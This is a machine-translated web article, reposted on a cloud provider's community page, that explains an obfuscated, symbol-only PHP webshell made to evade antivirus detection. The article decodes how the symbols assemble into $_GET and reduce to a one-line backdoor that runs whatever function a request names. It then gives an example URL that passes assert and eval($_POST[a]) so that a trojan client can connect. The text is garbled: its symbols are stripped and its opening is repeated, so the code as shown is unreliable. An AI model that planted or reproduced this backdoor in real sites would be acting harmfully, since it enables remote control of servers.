A pure symbolic explanation of webshellPHP code

Source: Internet
Author: User
The following is a piece of backdoor code circulating on the Internet consisting of pure symbols. This code obfuscation method is mainly used for webshell-free killing. This article will detail this seemingly complex PHP deformation code. Lt ;? Php _; _ [] __;__ [] | _ [] | _ [] ^;{__} [_] {__} [_];? Gt; the first line: _; defines a linestring to change the name

The following is a piece of backdoor code circulating on the Internet consisting of pure symbols. This code obfuscation method is mainly used for webshell-free killing. This article will detail this seemingly complex PHP deformation code. Lt ;? Php _ =; _ [] =; _ = _ [] | _ [] | _ [] ^; {__} [_] {__} [_];? Gt; the first line: _ =; defines an underscore (_) as the name

The following is a piece of backdoor code circulating on the Internet consisting of pure symbols. This code obfuscation method is mainly used for webshell-free killing. This article will detail this seemingly complex PHP deformation code.

Lt ;? Php
_ =;
_ [] =;
_ = _;
_ = _ [] | _ [] | _ [] ^;
{__} [_] {__} [_];
? Gt;

First line: _ =;
Define an underscore (_) as the name variable. The value is null.
This line does not actually affect the code execution effect, but only adds obfuscation effects.

Row 2: _ [] =;
Defines an _ array element, whose key is, and the value is null.
As we all know, PHP is a weak type language, that is to say, PHP does not strictly verify the variable type, so here as an array key, the value is equivalent, so this line is equivalent to _ [] =;
In this case, _ is defined as an array to overwrite the definition of the previous row.

Row 3: _ = _;
Convert Variable _ to a string forcibly. Because type _ is an Array, the converted result is the string Array (string5Array) instead of the value of the Array element.

Row 4: _ = _ [] | _ [] | _ [] ^;
This line involves the "or operation" and "XOR operation" of the Computer binary. Here we will briefly introduce these two calculation rules:
, Or operation. The symbol is |
Calculation rule: | =;
Simply put, if one of the two objects before or after the operation is or, the value is; otherwise
2. Exclusive or operation. The symbol is ^.
Calculation rule: ^ =;
In short, the XOR operation can be considered to determine whether the two objects are equal. If the two objects are different (that is, they are different), the value is. Otherwise

Return to the Code. This line of code consists of three parts: _ [] |, _ [] |, and _ [] ^, which are connected by the connector, each part contains two objects for or operation.
First look at the first part _ [] |. Obviously, here is _ [] and the two objects perform "or operations ".
The first object _ [] (I .e. _ []) should be noted that its value is no longer the null value defined in the second line, in the third row, the variable _ has been overwritten and defined as the string "Array ". Another php knowledge details are involved here: for the string [number] structure, the string will be processed as an array, and the following digits will be returned as the index element value, for example: x = abcd9com, then x [4] = 9. Visible, the value of _ [] is the first character of the string "Array", "".
The second object is a special character (note: this is not a short horizontal character, although it looks very similar, it is actually a special character. Such symbols cannot be identified in some environments and are processed as garbled characters. The same is true for the special characters in the next two parts .), No matter why this is a special character rather than other characters, add a line of test code under this line to display the defined _ value of this line:
Var_dump _;
Test result: string3GET, visible, _ [] | _ [] | _ [] ^ value GET, obvious, _ [] | value: "G ", _ [] | the value is "E" and _ [] ^ The value is "T ".
First look at the first part of the _ [] | value is G, the above obtained _ [] value is "A", that is, A | = G, the following analysis of the formula:
"A" binary:
"G" binary:
| X =
By deriving or calculation rules and referring to the ASCII code table, the x value may have the following results:
ASCII printable character: F
ASCII printable character: G
ASCII control character: ACK, indicating "Confirm response"
ASCII control character: BEL, representing the "Bell"
In the code, the ASCII control character is ACK. In fact, the other three characters also apply. This special character is used to increase the obfuscation effect.
Find out the first part, and the second and third parts can also be pushed.

Fifth line: {__} [_] {__} [_];
This row can be divided into two parts by parentheses: {__} [_] And {__} [_]. The two parts are in the structure of {A} [B]. the difference is only whether B is followed by an underline or two dashes.
Let's first look at the same part {__}, which involves the feature of braces {} in php: To define variables in indirect references, for example, abc is the variable abc, and {a} bc is the variable a connected character bc. This feature is understood, while row 4 assigns _ a value of "GET ", it can be seen that {__} is the Variable _ GET, followed by [_], it is _ GET [_], and the variable in the form receiving get is the value. The same is true for the Section in parentheses.
According to the above description, after the fifth line of code is restored, it is: _ GET [_] _ GET [_];

At this point, this obfuscation code has been exposed. The backdoor code in one sentence is like _ GET [_] _ GET [_], and a special parameter is passed to build the webshell URL (for example, http: wwwabcd9comwebshellphp? _ = Assertamp ;__ = eval_POST [a]). You can connect to this URL by using a trojan client.

Original article address: a pure symbolic webshell PHP code explanation. Thank you for sharing it with the original author.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.